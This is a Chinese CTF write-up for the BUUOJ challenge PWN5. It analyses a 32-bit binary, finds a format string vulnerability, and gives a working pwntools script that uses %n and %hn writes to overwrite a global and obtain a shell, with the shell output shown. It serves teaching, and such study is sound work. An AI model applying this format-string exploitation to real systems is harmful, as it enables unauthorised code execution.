【pwn做题记录】06.[第五空间2019 决赛]PWN5 1
例题:https://buuoj.cn/challenges#[第五空间2019 决赛]PWN5
首先检查一下文件:
C:\Users\A\Downloads>checksec pwn
[*] 'C:\\Users\\A\\Downloads\\pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
上面的意思依次是:
- 32位程序,小端序
- GOT表部分可写
- 具有栈保护
- 栈不可执行
- 地址固定
思路分析
先执行一下程序看一下:
┌──(kali㉿kali)-[~/桌面/attack]
└─$ ./pwn
your name:hello
Hello,hello
your passwd:123
fail
可以看出这里有两个输入点,一个名字,一个密码。
用IDA打开,查看main函数(看起来很长很恐怖,但不用慌):
int __cdecl main(int a1)
{
unsigned int v1; // eax
int fd; // ST14_4
int result; // eax
int v4; // ecx
unsigned int v5; // et1
char nptr; // [esp+4h] [ebp-80h]
char buf; // [esp+14h] [ebp-70h]
unsigned int v8; // [esp+78h] [ebp-Ch]
int *v9; // [esp+7Ch] [ebp-8h]
v9 = &a1;
v8 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &unk_804C044, 4u);
printf("your name:");
read(0, &buf, 0x63u);
printf("Hello,");
printf(&buf);
printf("your passwd:");
read(0, &nptr, 0xFu);
if ( atoi(&nptr) == unk_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
v5 = __readgsdword(0x14u);
v4 = v5 ^ v8;
if ( v5 != v8 )
sub_80493D0(v4);
return result;
}
atoi是将字符串转换为数字,可以简单理解为 int(string)
- 第一眼定位到
system("/bin/sh"):因此需要让atoi(&nptr) == unk_804C044执行system函数 - 返回去看,npter是我们输入的值,双击unk_804C044,发现这个在bss段,即是全局变量,由于不知道是多少,可以当作一个随机数
- 在运行程序的时候,可以发现有两个输入点,一个名字,一个密码,所以
read(fd, &unk_804C044, 4u);不是一个输入点,即fd != 0,由4u可知unk_804C044为4字节,即密码长度为4字节。 - 看到
printf(&buf);和buf是我们输入的名字,因此存在格式化字符串漏洞。
因此我们的思路大致如下:
- 利用%n修改bss段的unk_804C044。
- 输入的密码和我们修改后的unk_804C044值一致,即可执行system。
先泄露出格式化后字符串的地址:
┌──(kali㉿kali)-[~/桌面/attack]
└─$ ./pwn
your name:AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Hello,AAAA 0xff9c44e8 0x63 (nil) (nil) 0x3 0x80482ac 0xff9c453c 0xf7f00bcc 0x1 0x41414141 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520
p���your passwd:123
fail
得到格式化后字符串的地址为第10个参数的地址
思路总结
- 输入名字时,输入unk_804C044的地址,再利用%10n等修改其值
- 输入密码时,输入的数字和修改后的unk_804C044一致,即可执行system
攻击脚本
#!/bin/python
from pwn import *
context.log_level = 'debug'
bss_unk = 0x804c044
io = process("./pwn")
#io = remote("node5.buuoj.cn",29202)
# 由于密码长度为4字节,所以要写4个地址
# 前面四个地址总长度为4 * 4 = 16字节,所以每个地址修改后的值为0x10
payload = p32(bss_unk) + p32(bss_unk + 1) + p32(bss_unk + 2) + p32(bss_unk + 3)
payload += b'%10$n' + b'%11$n' + b'%12$n' + b'%13$n'
io.recvuntil(b"name:")
io.send(payload)
payload = str(0x10101010)
io.recvuntil(b'passwd:')
io.send(payload)
io.interactive()
这样就可以获取flag了
点击查看代码
[*] Switching to interactive mode
ok!!
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{dc3c40f1-82b4-45b6-9cf3-18a5dfeab5c0}
$
[*] Closed connection to node5.buuoj.cn port 29202
疑惑点
这里的两次payload
payload_name = p32(bss_unk) + p32(bss_unk + 1) + p32(bss_unk + 2) + p32(bss_unk + 3)
payload_name += b'%10$n' + b'%11$n' + b'%12$n' + b'%13$n'
payload_passwd = str(0x10101010)
-
%n的理解:%n修改的不是参数地址指向的值,而是参数地址指向的指针指向的值,一个地址存放1字节。%n修改的内容是成功输入的字符个数,前面若是占位符(如%n,%p)则忽略。
所以这里修改的值均为0x10,即16字节,写在这个地址指向的指针指向的值。合起来bss_unk的值为0x10101010

那如果输入的是"AAAA"呢,因为在C语言里,字符串就是数组,数组和指针类似,即arr[3],则arr是一个指针,arr --> arr[0],数组存储的内存是连续的,所以arr + 1 --> arr[1],以此类推
那谁指向"AAAA"呢,我理解的是当前格式化后字符串的地址就是"AAAA"指针,即printf的第10参数就是"AAAA"的指针,
若参数地址是0xffff0001,则参数地址指向的指针就是0xffff0001,参数地址指向的指针指向的值就是"AAAA" -
payload_passwd为什么是str(0x10101010)?
(这里用pwntools的context.log_level = 'debug'来实验)
假设我们输入的payload_passwd是'0x10101010'呢

可以发现我们发送的是b'0x10101010'
若我们输入的payload_passwd是p32(0x10101010)呢

可以发现我们发送的是\x10 * 4
若我们输入的payload_passwd是b'0x10101010'呢

结果和'0x10101010'的·一致。
若我们输入的payload_passwd是str(0x10101010)呢

发现我们发送的payload变为:269,488,144
269,488,144是什么?这是0x10101010的十进制数。
那为什么密码要输入0x10101010的十进制才能成功呢?原因在于atoi函数
atoi(&nptr) == unk_804C044比较之前,是先进行了atoi函数,我们前面说了,atoi函数类似int函数,也就说相当于int(&nptr),如果输入的是'0x10101010',则int('0x10101010')必然报错,正确应该是int('0x10101010',16),也就说默认是十进制转换,直接输入十六进制数必然不行。而str函数不仅可以将数字转换为字符串,同时也进行了十进制转换。
使用p32就更不对了,\x10转成字符串就是一个不可打印字符(通过ASCII转),更别说和数字比较。
- payload只能这么写吗?
这里还有一种写法,因为%hn可以一次性写两个字节
payload_name = p32(bss_unk) + p32(bss_unk + 2)
payload_name += b'%10$hn' + b'%11$hn'
payload_passwd = str(0x00080008)
这里要注意成功写入的字符为4 * 2 = 8个字节,所以密码为0x00080008,不是原来的0x10101010了。
做题总结
- 可以利用%n修改bss段的变量,以达到绕过的效果。
- str函数可以将数字进行十进制转换后再转字符串。
- atoi函数和int函数类似。
- %n修改的是地址指向的指针指向的值。

浙公网安备 33010602011771号